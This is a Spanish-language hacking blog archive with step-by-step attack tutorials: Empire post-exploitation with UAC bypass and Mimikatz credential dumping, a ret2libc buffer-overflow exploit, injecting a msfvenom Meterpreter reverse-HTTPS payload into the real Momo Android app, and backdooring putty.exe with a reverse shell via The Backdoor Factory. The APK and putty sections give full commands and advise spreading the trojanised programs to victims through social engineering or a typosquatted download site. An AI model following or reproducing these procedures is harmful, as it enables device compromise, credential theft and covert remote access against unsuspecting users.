Archivo
Uso de Empire Framework contra sistemas Windows.
Empire es un framework muy interesante que incluye varios elementos de post-explotación enfocados a sistemas windows utilizando PowerShell, así como sobre sistemas GNU/Linux comprometidos utilizando Python. Cada uno de dichos elementos en Empire cuentan con varios mecanismos interesantes para la transferencia y ejecución de “stagers” en la máquina comprometida, siguiendo un modelo muy similar al que sigue Metasploit Framework a la hora de generar sesiones. Las comunicaciones entre el atacante y víctima son cifradas, algo que también comparte Metasploit Framework a la hora de utilizar payloads del tipo “meterpreter” y además, permite ejecutar instrucciones en PowerShell sobre un sistema windows aunque en dicho sistema no tenga el ejecutable “powershell.exe”. Los módulos de post-explotación incluidos en Empire son fáciles de desplegar y de utilizar, algunos de los cuales permiten la ejecución de keyloggers para el “espiar” las actividades del usuario, nuevamente algo muy parecido a lo que nos encontramos en los payloads del tipo meterpreter de Metasploit Framework . Empire también tiene la capacidad de ejecutar comandos en memoria, lo que significa que al no ser instrucciones que requieren acceso a unidades de almacenamiento persistente, tienen mayores probabilidades de no ser detectadas por AVs u otros mecanismos de seguridad que puedan estar en ejecución en el sistema comprometido.
Empire Framework asiste al pentester en las labores de elevación de privilegios, reconocimiento de red y de sistemas alcanzables, movimientos laterales entre hosts (pivoting) y la recolección de credenciales o cualquier detalle informativo que pueda resultar interesante. Empire consigue éste objetivo partiendo de 3 componentes principales: Listeners, Stagers y Agents.
– Listeners: Proceso en la máquina del atacante y que espera conexiones por parte de las víctimas.
– Stager: Instrucciones que envía el atacante a la víctima.
– Agents: Se trata del componente que mantiene la conexión entre la víctima y el atacante desde el sistema comprometido. Es el encargado de recibir cada stager enviado por el atacante y ejecutarlo.
Instalación de Empire
Hay 2 formas de instalar Empire, la más “clásica” consiste clonar el repositorio del proyecto, el cual se encuentra ubicado en: https://github.com/EmpireProject/Empire
| git clone https://github.com/EmpireProject/Empire.git
sudo ./setup/install.sh sudo ./empire |
Durante el proceso de instalación, se solicitará establecer una contraseña que será utilizada posteriormente entre el agente y listener.
La otra alternativa consiste en utilizar la imagen de Docker que se encuentra preparada para dicho propósito.
| docker pull empireproject/empire |
Una vez instalada la herramienta, basta simplemente con ejecutar el comando “./empire” y comenzará el proceso de carga de listeners, módulos, stagers y todo el entorno del framework.
Empire cuenta con un interprete de comandos para utilizar las funcionalidades principales de la herramienta. Como se puede apreciar en la imagen anterior, al iniciar Empire se enseña el número total de módulos cargados, número de listeners que se encuentran activos y los agentes en ejecución en alguna máquina remota.
Los comandos básicos se pueden apreciar rápidamente ejecutando el comando “help”, no obstante los más importantes inicialmente son aquellos que permiten interactuar con los diferentes elementos del framework, especialmente los listeners y módulos. Para enseñar los Listeners que se encuentran actualmente activos, basta simplemente con ejecutar el comando “listeners” y para utilizar alguno de los disponibles en el framework, ejecutar el comando “uselistener”. El interprete de Empire permite auto-completar con la tecla “tab” lo cual resulta extremadamente útil y práctico a la hora de interactuar con los elementos de la herramienta.
Una vez seleccionado uno de los listeners disponibles, es posible ejecutar el comando “info” para obtener información de las opciones de dicho listener y a continuación, cada una se puede establecer con el comando “set option value”.
Una vez iniciado el listener es el momento de seleccionar un stager existente con el comando “usestager stager”. Por ejemplo “usestager windows/launcher_bat”. Posteriormente se deben definir sus propiedades, del mismo modo que se ha explicado antes para los Listeners, en éste caso concreto, siempre será necesario establecer la propiedad “Listener” con el nombre del listener que se ha iniciado en el paso anterior, el comando a ejecutar es “set Listener nombre-listener”.
Si se ha utilizado el stager “windows/launcher_bat”, una vez el fichero “.bat” sea transmitido y ejecutado sobre el sistema Windows comprometido, se podrá obtener una conexión reversa en Empire y se podrá ver que en la consola aparece un nuevo agente habilitado.
Un agente es como una sesión en Metasploit Framework, lo que significa que el siguiente paso consiste en interactuar con él para llevar a cabo el proceso de post-explotación. Hay que tener en cuenta que Empire no es un framework de explotación como sí lo es Metasploit Framework, con lo cual el proceso de iniciar una conexión reversa tras ejecutar un agente en un sistema remoto tiene que llevarse a cabo después de que el sistema haya sido comprometido y sea posible ejecutar instrucciones sobre él, en el caso de la figura anterior, por ejemplo, ha sido la ejecución de un fichero “.bat”. Una alternativa en el proceso de explotación podría consistir en utilizar técnicas de ingeniería social y “forzar” de alguna manera a un usuario del sistema objetivo a ejecutar el fichero .bat que se ha generado desde Empire u otra podría ser la explotación de alguna vulnerabilidad en el sistema objetivo, subir el .bat y ejecutarlo.
Para interactuar con un agente se debe utilizar el comando “interact”, tal como se puede apreciar en la siguiente imagen.
Existen varios módulos disponibles en Empire que se encuentran en el contexto de cada uno de los agentes disponibles, dichos módulos se centran en la extracción de información y en la elevación de privilegios. Uno de los elementos más interesantes para conseguir el propósito de elevar privilegios sobre un sistema windows es “PowerUp” el cual contiene múltiples módulos para identificar y explotar servicios vulnerables, registros del sistema y cualquier oportunidad de elevar privilegios. Todos los módulos de PowerUp se encuentran incluidos en “privesc/powerup/*” y uno de los más útiles es precisamente “powershell/privesc/powerup/allchecks” ya que realiza todas las pruebas de PowerUp contra el sistema.
ByPass UAC con Empire
Como seguramente el lector ya sabe, el mecanismo UAC (User Account Control) se ha implementado a partir de Windows Vista y se caracteriza por contar con 3 niveles de integridad que separan los permisos que tienen los usuarios del sistema sobre los recursos: Alto, Medio y Bajo. La mayoría de aplicaciones y servicios que ejecuta un usuario se encuentran en el nivel medio, en donde se incluyen los privilegios estándar para el acceso a recursos comunes, pero evidentemente no es posible ejecutar actividades administrativas para las que es requerido estar en el nivel “alto”. En los últimos años han surgido varias técnicas de “ByPass UAC” que permiten escapar del nivel “Medio” y moverse directamente al nivel “Alto” de UAC. Dichas técnicas incluyen, entre otras cosas, la inyección de librerías dinámicas que intenten realizar el proceso de elevación o la ejecución del programa “wscript.exe” / “cscript.exe” con un fichero manifest malicioso ubicado en C:\Windows para lanzar instrucciones con un nivel de integridad UAC alto. Estas técnicas se encuentran disponibles en Metasploit Framework con sus correspondientes módulos de Post-Exploitation como en Empire por medio del comando “bypassuac” disponible en cada uno de los agentes del framework.
Como se puede apreciar en la figura anterior, se ha lanzado el módulo “bypassuac” directamente en el contexto del agente, el cual no tiene privilegios administrativos sobre el sistema. Dicho módulo recibe como argumento el nombre de un listener en ejecución, en éste caso se puede utilizar el mismo listener que se ha iniciado anteriormente a la hora de obtener una conexión reversa con el agente. Hay que tener en cuenta que todos los módulos en Empire se ejecutan en segundo plano, por lo tanto es posible seguir interactuando con la herramienta y en la medida de que los módulos lanzados van recuperando información o generando algún tipo de traza, van apareciendo en la consola, lo que a veces puede confundir un poco. En la imagen anterior se puede ver que tras la ejecución del módulo “bypassuac” se ha generado un nuevo agente, el cual, al listarlo en la herramienta, aparece con un “*” en la columna de “Username” lo que significa que dicho usuario puede ejecutar comandos como administrador.
Mimikatz con Empire
Mimikatz (o Kiwi) es una herramienta muy conocida en el mundo de la post-explotación en sistemas Windows, permite extraer información sensible de la memoria del sistema concretamente detalles relacionados con cuentas de usuarios y credenciales. Se trata de una herramienta que se encuentra disponible en Metasploit Framework en forma de módulo externo, sin embargo en el caso de Empire también se encuentra disponible entre los módulos disponibles para cada uno de los agentes. Para poder usar el módulo “mimikatz” en Empire, es necesario tener privilegios administrativos, por lo tanto es necesario tener un agente con permisos elevados, ya sea un usuario administrador o que el proceso del agente se encuentre en el nivel “Alto” de UAC, esto es importante para que Mimikatz pueda leer registros e información en la memoria del sistema operativo, sino se cumple con este requisito la herramienta no puede extraer prácticamente nada de la memoria.
Como se puede apreciar en la imagen anterior, Mimikatz ha sido capaz de extraer información interesante del sistema, incluyendo nombres de usuarios y contraseñas en texto plano.
Empire es una alternativa interesante que es fácil de utilizar, flexible y a día de hoy funciona bastante bien. Si el lector se encuentra interesado en temas de post-explotación de sistemas y busca participar en algún proyecto basado en Python para mejorar sus habilidades, probablemente Empire será una muy buena opción.
Un saludo y Happy Hack.
Adastra.
Evadiendo no-exec stacks con técnicas ret2libc
Desde aquellos días en los que comenzaron a aparecer las primeras vulnerabilidades en programas ejecutables, que típicamente se aprovechaban de un desbordamiento de memoria, se han implementado varios mecanismos de defensa que impiden que los programas vulnerables y potencialmente peligrosos para el sistema puedan ser una amenaza, obviamente la fuente del problema siempre se encuentra fallos de diseño e implementación, una situación difícil de controlar. En el caso de los sistemas más populares hoy en día, existen varias características interesantes que impiden que un programa que presenta condiciones de Stack o Heap overflow puedan “campar a sus anchas”, así nos encontramos con cosas como Stack Cookies o Canaries, DEP, ASLR, etc. Son mecanismos muy potentes que añaden un nivel de complejidad considerable al proceso de explotación, ya que ahora el atacante no solamente se debe preocupar por detectar y explotar vulnerabilidades, sino también de evadir esos mecanismos de protección que no le permiten montar en el sistema atacado su propia “fiesta”. Aún así, existen técnicas que el atacante puede llevar a cabo para saltarse esas medidas de protección y conseguir sus objetivos.
En éste artículo vamos a hablar de una técnica muy interesante que se puede aplicar sobre un programa vulnerable ejecutándose en un sistema GNU/Linux y que debido a su simplicidad y efectividad, la convierte en una técnica muy potente ante aquellos programas que implementan el “No-Exec”, es decir, que marcan la Stack como un espacio de sólo lectura sin la posibilidad de que el procesador interprete los bytes que podemos insertar en ella como instrucciones ejecutables. Hablamos del archiconocido “ret2libc”.
El origen del mal.
El origen de prácticamente todas las vulnerabilidades tiene su base en una mala implementación, errores en diseño y programación que le permiten a un atacante hacer de las suyas. Esto la mayoría de las veces sucede simplemente por descuidos o desconocimiento del programador, aunque también a veces, aunque el programador conoce las consecuencias negativas de cara a la seguridad de ciertas prácticas de desarrollo, por desidia/pereza, simplemente decide ignorarlas y quedarse con la típica frase de: “En mi local funciona”.
Como decía antes, estas cosas son difíciles de controlar, a menos claro, que a ese programador perezoso lo mandes a Corea del Norte a servir al amado “lidel”, en ese caso seguro que se espabila y revisa 20 veces cada una de las líneas de código de su programa.
Ahora bien, como comentaba anteriormente, las Stacks “No exec” impiden que algunas áreas de la memoria (Stack o Heap) puedan ser interpretadas por el procesador como secciones con instrucciones ejecutables. Dado que no se puede inyectar o ejecutar código malicioso en el programa, aunque sea vulnerable, el atacante debe sobrepasar esta barrera antes de poder continuar y para ello puede utilizar la técnica de “ret2libc” o Return To Libc.
Antes de explicar en qué consiste, vamos a partir de un programa vulnerable, el cual contiene el siguiente código:
Explotando el programa con No-Exec habilitado
Es fácil darse cuenta que el programa anterior, además de ser muy simple no realiza ningún tipo de verificación sobre los limites del buffer
En un sistema GNU/Linux, el programa anterior se puede compilar con GCC de la siguiente manera.
gcc -ggdb -fno-stack-protector -o programa programa.c
Por defecto, los programas compilados en la mayoría de versiones del GCC generan un binario con la característica “no-exec” habilitada, lo que significa que si encontramos una vulnerabilidad en el programa y seguimos el procedimiento clásico de sobreescribir el EIP para que realice un salto hacia la stack, lugar en donde tendremos nuestro shellcode, el resultado será una violación de acceso.
Dicho lo anterior, vamos a comenzar a inspeccionar el programa y analizar su comportamiento ante un desbordamiento de pila.
En primer lugar, se carga el programa con el depurador (GDB) y se establece un punto de interrupción en la dirección de memoria en donde se realiza una invocación a la función “tevasacorea”.
El segundo y último punto de interrupción se establece en la instrucción “ret”, justo al final de la función “tevasacorea” para poder ver el contenido de la Stack antes de que se produzca el desbordamiento.
Como se puede apreciar en la última imagen, se ejecuta un programa externo al depurador y en dicho programa, simplemente se crea una entrada de 512 caracteres (concretamente, 512 As). Se pasa por ambos breakpoints y antes de retornar de la función “tevasacorea”, se consulta el estado de la Stack que tal como se puede apreciar, ha quedado en la posición perfecta para sobreescribir el valor del registro EIP con una dirección de memoria arbitraria. Esto significa simplemente, que se debe ejecutar el programa con una entrada que contenga 512 caracteres más una dirección de retorno arbitraria que nos permita manipular el programa y llegados a éste punto, comenzamos a hablar de Ret2Libc.
Aplicando la técnica Ret2Libc para eludir el “No-Exec”
Esta técnica recibe el nombre de Ret2Libc por dos motivos, el primero de ellos es que se basa en el hecho de que en la dirección de retorno de cualquier cualquier función, se puede establecer una dirección de memoria arbitraria que puede hacer parte del programa o de los objetos compartidos y librerías que son necesarias para el correcto funcionamiento del programa, lo que significa que en el caso de no poder utilizar la Stack para nuestro propósito, siempre se puede intentar invocar a otros espacios de memoria o instrucciones ejecutables ubicadas en otra librería. Por otro lado, la librería Libc es muy habitual en programas que se ejecutan sobre sistemas GNU/Linux y en la mayoría de los casos se trata de una dependencia obligatoria, por éste motivo es posible buscar funciones interesantes en dicha librería que nos puedan resultar útiles en el proceso de explotación del programa. Las funciones que se utilizarán en este ejemplo son “system” y “exit”, la primera recibe una cadena como primer argumento, la cual representa un programa a ejecutar y la segunda, permite finalizar un proceso limpiamente. Ambas funciones se pueden concatenar en la cadena de invocaciones gracias a la técnica “ret2libc”, únicamente hay que tener en cuenta que es necesario obtener las direcciones de memoria de cada una de las funciones a invocar y posteriormente, meterlas en la stack en el mismo orden en el que se desea invocarlas. Por último, pero no menos importante, se debe tener en cuenta el tipo de vulnerabilidad que se está explotando, por ejemplo, en el caso de que la vulnerabilidad se base en el overflow de un buffer de cadenas (con el ejemplo del programa anterior con la función strcpy), se debe evitar a toda costa utilizar direcciones de memoria que contengan “null terminators” (\x00) ya que esto haría que se corte el payload y no sea posible obtener los resultados deseados.
Dicho lo anterior, es el momento de buscar las direcciones de memoria correspondientes a las funciones “system” y “exit”.
Como se puede apreciar de la imagen anterior, simplemente con el comando “print” y la función deseada, se puede obtener información sobre la librería y dirección de memoria donde se encuentra cargada dicha función.
Ahora bien, el siguiente paso consiste en especificar el parámetro adecuado a la función “system” con una cadena como “/bin/bash” sería suficiente, pero hay un pequeño problema y es que dicho parámetro no lo espera la función como una cadena simple, espera la referencia de una dirección de memoria que apunta a una cadena de texto con el nombre del binario a ejecutar, lo que se conoce coloquialmente en programación en C/C++ como un puntero. Por lo tanto, simplemente hay que buscar una dirección de memoria que apunte a una cadena que tenga el programa deseado. Afortunadamente, en las variables de entorno existen varias entradas que contienen valores de configuración y entre otras cosas, suele haber una variable llamada “SHELL” que define el programa que preferiblemente se debe de lanzar cuando se invoque a una shell en el sistema. Ahora, cómo se consigue acceso a las variables de entorno del sistema desde un programa en ejecución? La respuesta es simple, gracias a la Stack. Como seguramente ya sabreis, la Stack de un programa no solamente almacena parámetros y las variables locales correspondientes a cada Stack Frame o función invocada en un programa, también incluye todas las variables de entorno que hay en el sistema por si alguno de los Stack Frames del programa necesita acceder a cualquiera de dichas variables. Con esto en mente, basta simplemente con inspeccionar la Stack para obtener la dirección exacta donde se encuentra la variable de entorno “SHELL”.
Tal como se puede ver en el programa anterior, después de buscar los contenidos de la Stack con un comando como “x/5000s $exp” desde el depurador, se puede encontrar la variable de entorno SHELL y una dirección de memoria que puede ser útil para enviar como primer argumento de la función “system”.
Ahora que ya se cuenta con todo lo necesario para aplicar la técnica de Ret2Libc, es el momento de componer el payload que tendrá los siguientes valores:
“A”*512 + Dirección de memoria system + Dirección de memoria exit + Dirección de memoria del programa a ejecutar por system.
Por último, a diferencia de los valores que normalmente se suelen encontrar en tráfico de red, cuando se habla de programas y direcciones de memoria, se utiliza el formato “little endian”, por lo tanto es necesario establecer cada dirección de memoria en sentido inverso.
Después de lanzar nuevamente el programa con el payload adecuado, utilizando la técnica ret2libc, se puede apreciar que se ha conseguido ejecutar el programa “/bin/bash” y ahora se cuenta con una consola plenamente funcional, solamente ha bastado con indicar las direcciones de memoria adecuadas y concatenar cada una de las invocaciones con sus correspondientes parámetros. Una técnica que puede ser sencilla de implementar y muy potente, os animo a que lo probéis.
Un saludo y Happy Hack.
Adastra.
Cómo inyectar malware en una aplicación Android legítima.
En éste artículo se hablará sobre la creación de una APK maliciosa partiendo de una legítima con el objetivo de ganar acceso al dispositivo Android sobre el que se instala. En primer lugar es necesario definir cuál será la aplicación con la que se desea trabajar y descargarla, a efectos prácticos, en éste artículo tomaremos como ejemplo la app Momo (immomo.com/download/momo.apk) la cual es utilizada por millones de personas en el mundo, especialmente en países asiáticos. Posteriormente, se puede crear la app maliciosa utilizando las características disponibles en Metasploit Framework, gracias a la utilidad “msfvenom” se puede generar un payload enfocado específicamente a aplicaciones para Android. El objetivo evidentemente es el de inyectar el payload generado por msfvenom en la app legítima, de una forma similar a lo que hacemos con ejecutables PE o ELF para sistemas Windows y GNU/Linux a la hora de aplicar la técnica de “code caving”. Utilizando una herramienta como “apktool” se puede proceder a desempaquetar y decompilar la APK legítima y la APK generada por metasploit y con ambas muestras, se construye una APK nueva partiendo de la aplicación legítima pero inyectando el payload de Metasploit de tal forma que la aplicación original siga funcionando con normalidad.
Lo que se ha explicado anteriormente se puede llevar a la práctica siguiendo el siguiente procedimiento.
1. En primer lugar, se debe generar la APK maliciosa con Metasploit Framework.
| >msfvenom -p android/meterpreter/reverse_https LHOST=xxxx LPORT=4444 -o /home/adastra/meterpreter.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload No encoder or badchars specified, outputting raw payload Payload size: 9295 bytes Saved as: /home/adastra/meterpreter.apk |
2. A continuación, se procede a descargar la app que tal como se ha dicho antes, en este caso será Momo (immomo.com/download/momo.apk) y se procede a desempaquetar y decompilar todo con Apktool https://ibotpeaches.github.io/Apktool/
Primero la app legítima
| >apktool d -f -o originalDecompiled momo_6.7_0413_c1.apk
I: Using Apktool 2.1.0-a7535f-SNAPSHOT on momo_6.7_0413_c1.apk I: Loading resource table… I: Decoding AndroidManifest.xml with resources… I: Loading resource table from file: /home/adastra/apktool/framework/1.apk I: Regular manifest package… I: Decoding file-resources… I: Decoding values */* XMLs… I: Baksmaling classes.dex… I: Baksmaling classes2.dex… I: Baksmaling classes3.dex… I: Copying assets and libs… I: Copying unknown files… I: Copying original files… |
Y luego, la APK generada por Metasploit Framework.
| >apktool d -f -o meterpreterDecompiled meterpreter.apk
I: Using Apktool 2.1.0-a7535f-SNAPSHOT on meterpreter.apk I: Loading resource table… I: Decoding AndroidManifest.xml with resources… I: Loading resource table from file: /home/adastra/apktool/framework/1.apk I: Regular manifest package… I: Decoding file-resources… I: Decoding values */* XMLs… I: Baksmaling classes.dex… I: Copying assets and libs… I: Copying unknown files… I: Copying original files… |
3. A continuación, se copian los ficheros decompilados correspondientes al payload, directamente en la aplicación original decompilada. Concretamente, se deben copiar los ficheros ubicados en:
<meterpreter_apk>/smali
En el directorio:
<momo_apk>/smali
De esta forma, cuando la aplicación APK original vuelva a ser recompilada tendrá en su interior el payload correspondiente. No obstante, hasta este punto el código de dicho payload no será ejecutable, ya que aún no se ha alterado el flujo de ejecución de la aplicación original.
4. Se ha procedido a inyectar el “hook” de Meterpreter en la aplicación original (陌陌), pero para asegurar su ejecución, es necesario inyectar el payload en el código .smali.
Para hacerlo, primero se debe buscar la “activity” adecuada, las cuales se encuentran declaradas en el fichero “AndroidManifest.xml” de la aplicación original. Se debe buscar el lanzador de la aplicación:
<action android:name=”android.intent.action.MAIN”/>
<category android:name=”android.intent.category.LAUNCHER”/>
El atributo android:name de la “activity” principal de MoMo es: android:name=”com.immomo.momo.android.activity.WelcomeActivity”
A continuación, se debe editar el código de la “activity” principal de la aplicación, la cual como se ha visto es “WelcomeActivity” y se encuentra ubicada en
<momo_apk>/smali/com/immomo/momo/android/activity/WelcomeActivity
5. Una vez abierto el código correspondiente a la activity principal de la aplicación, se procede a buscar la función “main” de la clase, la cual debe cumplir con el siguiente patrón:
;->onCreate(Landroid/os/Bundle;)V
En la línea inmediatamente posterior se debe incluir la invocación al payload de Metasploit Framework, que contendrá lo siguiente:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
El aspecto que finalmente tendrán dichas instrucciones en la activity “WelcomeActivity” se puede apreciar en la siguiente imagen
6. Antes de recompilar la aplicación original con el payload inyectado, es necesario establecer los permisos adecuados para que el payload se pueda ejecutar correctamente, dichos permisos deben ser los siguientes:
7. Con los cambios anteriores, se procede a recompilar la aplicación original utilizando APKTool
| >apktool b original/originalDecompiled/
I: Using Apktool 2.1.0-a7535f-SNAPSHOT I: Checking whether sources has changed… I: Smaling smali folder into classes.dex… I: Checking whether sources has changed… I: Smaling smali_classes3 folder into classes3.dex… I: Checking whether sources has changed… I: Smaling smali_classes2 folder into classes2.dex… I: Checking whether resources has changed… I: Building resources… I: Copying libs… (/lib) I: Building apk file… I: Copying unknown files/dir… |
El comando anterior dará como resultado la generación de una APK con todos los cambios realizados anteriormente en el directorio <momo_apk>/original/dist
8. Finalmente se debe firmar el APK generado en el paso anterior con una herramienta como JarSigner, esto es importante para que la APK se pueda instalar en el dispositivo.
| >jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA original/originalDecompiled/dist/momo_6.7_0413_c1.apk androiddebugkey |
En éste caso se utiliza el keystore por defecto de Android Studio ubicado en <HOME>/.android.
9. Ya está todo preparado, ahora se debe distribuir la APK a aquellos usuarios que sean objetivo de la campaña, evidentemente se deben aplicar las técnicas adecuadas para que los usuarios “piquen” e instalen la aplicación en su dispositivo. Antes de hacerlo, dado que se utiliza Metasploit Framework con un payload del tipo “meterpreter reverse” es necesario iniciar el handler adecuado en la IP/dominio especificado en la propiedad LHOST que se ha indicado a la hora de generar el Payload.
Como se puede apreciar en la imagen anterior, cuando el usuario instala la aplicación en su dispositivo, el payload que se ha inyectado se ejecuta justo después de la invocación a la “activity” principal y el atacante obtiene una sesión Meterpreter, pero lo más importante: La app maliciosa conserva el funcionamiento de la aplicación legítima, sin ningún tipo de interferencia o comportamiento anómalo que haga sospechar a la víctima, esto es sin duda la parte más importante, ya que el usuario no se percatará de lo que está pasando y desde su perspectiva la aplicación funciona correctamente en su dispositivo.
Han sido sólo 9 pasos que nos han permitido componer un vector de ataque interesante enfocado a aplicaciones desarrolladas para dispositivos con Android y aunque éste procedimiento aplica para cualquier APK, es importante tener en cuenta que cada aplicación puede tener características muy concretas que hay que controlar, por ejemplo en el caso de que el código se encuentre ofuscado o que se haga uso de frameworks que debido a su propio funcionamiento, sea necesario tomar un enfoque distinto al explicado en éste artículo, sin embargo el procedimiento sigue siendo perfectamente valido y aplicable a cualquier APK.
Un saludo y Happy Hack!
Adastra.
Inyección de código arbitrario en ejecutables con The Backdoor Factory
La técnica conocida como “code caving” consiste simplemente en buscar y encontrar un espacio en un fichero ejecutable que permita la inyección de rutinas externas (típicamente shellcodes). Los ficheros ejecutables están compuestos por varias secciones, cada una de las cuales tiene una estructura y funcionamiento especifico. Si por algún motivo, alguna de dichas secciones o incluso el programa entero tienen un tamaño reservado que es superior al que efectivamente utilizan, queda abierta la posibilidad de inyectar subrutinas externas en dichos espacios que están sin utilizar. No solamente es posible modificar secciones existentes, sino que también es posible crear secciones nuevas dependiendo del fichero a modificar. El “code caving” tiene varias ventajas que saltan a la vista, una de ellas es que no es necesario contar con el código fuente del programa, solamente es necesario hacer los ajustes adecuados jugando un poco con los espacios libres que se van encontrando. Por otro lado, es un proceso en el que no se afecta el funcionamiento normal del ejecutable, de hecho, uno de las principales objetivos de aplicar esta técnica es que el programa ejecute el código inyectado como una subrutina cualquiera y continúe con la ejecución de las demás funciones con normalidad. Esto quiere decir que se pueden alterar ficheros ejecutables con el objetivo de inyectar código malicioso y posteriormente, dichos programas van a funcionar del mismo modo que funcionaria el programa original, que es justamente lo que espera ver el usuario.
Este procedimiento se puede llevar a cabo manualmente, utilizando herramientas como OllyDBG, LordPE (para ficheros PE) y algunas otras que permitirán encontrar la mejor forma de inyectar un shellcode, sin embargo en esta ocasión, se hablará sobre The Backdoor Factory, una herramienta que permite automatizar el proceso descrito anteriormente y modificar ficheros ejecutables al vuelo para inyectar shellcodes.
Usando The Backdoor Factory
Se trata de una herramienta que puede instalarse de forma manual desde el código fuente que se encuentra disponible en el repositorio github en: https://github.com/secretsquirrel/the-backdoor-factory y las instrucciones para instalar el programa se encuentran ubicadas en https://github.com/secretsquirrel/the-backdoor-factory/wiki/2.-Installation. El procedimiento de instalación no es complejo y únicamente requiere que las dependencias se encuentren correctamente instaladas, concretamente “pefile” y “capstone”. No obstante, BDF se encuentra disponible en las últimas versiones de Kali Linux, si utilizas la versión 2.x de Kali Linux, ya tendrás BDF instalado en el sistema.
El uso básico de esta herramienta es bastante simple, solamente es necesario indicar el fichero ejecutable que se desea “infectar” y a continuación seleccionar el payload adecuado. Algunos de los parámetros que recibe el script principal por línea de comandos se listan a continuación:
-f / –file: Permite especificar el binario que será analizado por la herramienta y que posteriormente será “backdoorizado”.
-H / –hostip: Dirección IP utilizada para recibir las conexiones reversas iniciadas por las víctimas.
-P / –port:Puerto utilizado para recibir las conexiones reversas iniciadas por las víctimas.
-a / –add_new_section: Como su nombre lo indica, permite crear una nueva sección el fichero ejecutable, la cual incluirá el shellcode seleccionado con la opción “-s”
-s / –shell: Payloads disponibles en BDF. Si se utiliza la palabra reservada “show”, se enseñarán los payloads disponibles.
-d / –directory: En lugar de especificar un único fichero ejecutable, se puede indicar un directorio en donde se encuentran todos los binarios que BDF analizará para posteriormente “backdoorizar”.
-i / –injector: En este modo, BDF intentará verificar si el fichero original es un servicio y en tal caso, intentará detenerlo, sustituir el ejecutable por la versión generada con el shellcode inyectado y renombrar el fichero original con un sufijo, el cual por defecto es “.old”. Se trata de un modo muy útil en procesos de post-explotación.
-u / –suffix: Sufijo que será utilizado por el modo “injector” para sustituir los ficheros ejecutables originales.
Las anteriores son solamente algunas de las posibles opciones que se pueden utilizar desde BDF y como se puede ver su uso puede ser tan simple como lo siguiente:
|
./backdoor.py -H 192.168.1.237 -P 4444 -s reverse_shell_tcp_inline -f putty.exe -q |
En este caso se intenta “backdoorizar” el fichero “putty.exe”, un programa bastante popular entre los usuarios de sistemas Windows para conectarse a otros sistemas por medio de SSH, Telnet, Rlogin, etc. Se utilizará el payload “reverse_shell_tcp_inline”, un payload bastante simple que permite establecer una shell reversa desde el sistema de la víctima hacia un sistema controlado por el atacante. Con las opciones “-H” y “-P” se ha indicado la dirección IP y puerto en donde el atacante tendrá un proceso en estado de escucha, esperando las conexiones por parte de las víctimas. Dicho proceso puede ser tan simple como iniciar un “netcat” en el puerto “4444”.
Imagen 1: Generando un fichero malicioso con BDF partiendo del programa “putty”.
Después de generar el programa, lo siguiente es conseguir que el objetivo lo ejecute en su sistema y para ello, muy probablemente sea necesario emplear técnicas de ingeniería social, aunque también puede ser perfectamente valido adquirir un dominio muy similar al dominio original donde se distribuye el programa (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html) cambiando, por ejemplo, algunas de las letras del dominio e incluyendo exactamente el mismo contenido de las páginas HTML del sitio legitimo. De esta forma y haciendo una “difusión” del dominio malicioso se puede llegar a un número mucho más elevado de víctimas. Como siempre, todo depende de los objetivos del atacante y su creatividad.
En el caso de que la víctima descargue el fichero malicioso y lo ejecute en su ordenador, verá que no hay ningún tipo de alarma o actividad sospechosa que le haga creer que su ordenador ha sido comprometido debido a la ejecución del programa que acaba de descargar y ejecutar, simplemente verá el programa “putty” funcionando correctamente. Aunque el usuario podrá seguir utilizando el programa como lo hace habitualmente, el atacante ahora tendrá una consola contra su sistema y todo ha sido sigiloso y sin despertar ningún tipo de alarma o sospecha.
Imagen 2: Atacante interactuando con el sistema de la víctima.
Del mismo modo que es posible establecer un shellcode simple, también se puede establecer uno “staged”, algo que viene muy bien si se quiere recibir la conexión reversa de la víctima con Metasploit Framework. Para eso, en BDF hay varios payloads, resultando especialmente interesante el “iat_reverse_tcp_stager_threaded” el cual utilizará la “Import Address Table” para construir el espacio donde se almacenará el shellcode.
|
./backdoor.py -H 192.168.1.237 -P 4444 -s iat_reverse_tcp_stager_threaded -f putty.exe -q |
Después de generar el fichero malicioso y de establecer el handler de Metasploit para aceptar conexiones por el puerto “4444”, el cliente debe ejecutar el programa y a continuación, se abrirá una nueva sesión “meterpreter” en la consola del atacante, como es habitual.
Imagen 3: Obteniendo una sesión “meterpreter” partiendo de un ejecutable generado con BDF.
Aquí solamente se ha visto el uso básico de BDF, pero los conceptos sobre los que se encuentra construida suelen ser mucho más interesantes que simplemente ejecutar un script y obtener un ejecutable malicioso. Es probable que realizar este mismo procedimiento manualmente, sin la ayuda de herramientas como BDF sea mucho más ilustrativo para comprender conceptos tan importantes como las secciones de un ejecutable y las diferentes técnicas de “code caving” que se pueden aplicar utilizando únicamente, un programa para analizar la estructura de programas del tipo PE y un editor hexadecimal. Esto se hará en un próximo artículo.
Un saludo y Happy Hack!
Adastra.
THW Academy: Plataforma de aprendizaje para hackers en castellano.
Las cosas han cambiado muchísimo con respecto a hace poco más de 15 años, por aquel entonces encontrar información sobre seguridad informática y hacking no estaba al alcance de todo el mundo, en las bibliotecas ya te podías olvidar de encontrar manuales sobre reversing en sistemas Linux, explotación de software o hacking en general. Por aquella época todo ello era como la magia o la alquimia, cosas maravillosas que pocos habían llegado a escuchar y muchos menos habían llegado a ver.
Ahora tenemos Internet, comunidades, blogs, foros, etc. Mucha información que se encuentra a nuestro alcance y llegamos a ella al instante, muchas nuevas tecnologías y una curva de aprendizaje que cada vez está más cuesta arriba. No obstante nos seguimos encontrando con que prácticamente toda la documentación de calidad y con buenos niveles de profundidad se encuentra en inglés.
Hay muchos sitios en castellano que no son buenos, son lo siguiente, pero a veces se suelen centrar una temática muy concreta o abarcan muchos temas sin llegar a un nivel de profundidad aceptable en ninguno.
Luego, hay muchos cursos/certificaciones en donde te piden que pagues miles de euros para aprender sobre web hacking, reversing, networking, programación o cualquier otra temática concreta, con unos precios que a mi juicio tienen una calidad/precio muy desproporcionada.
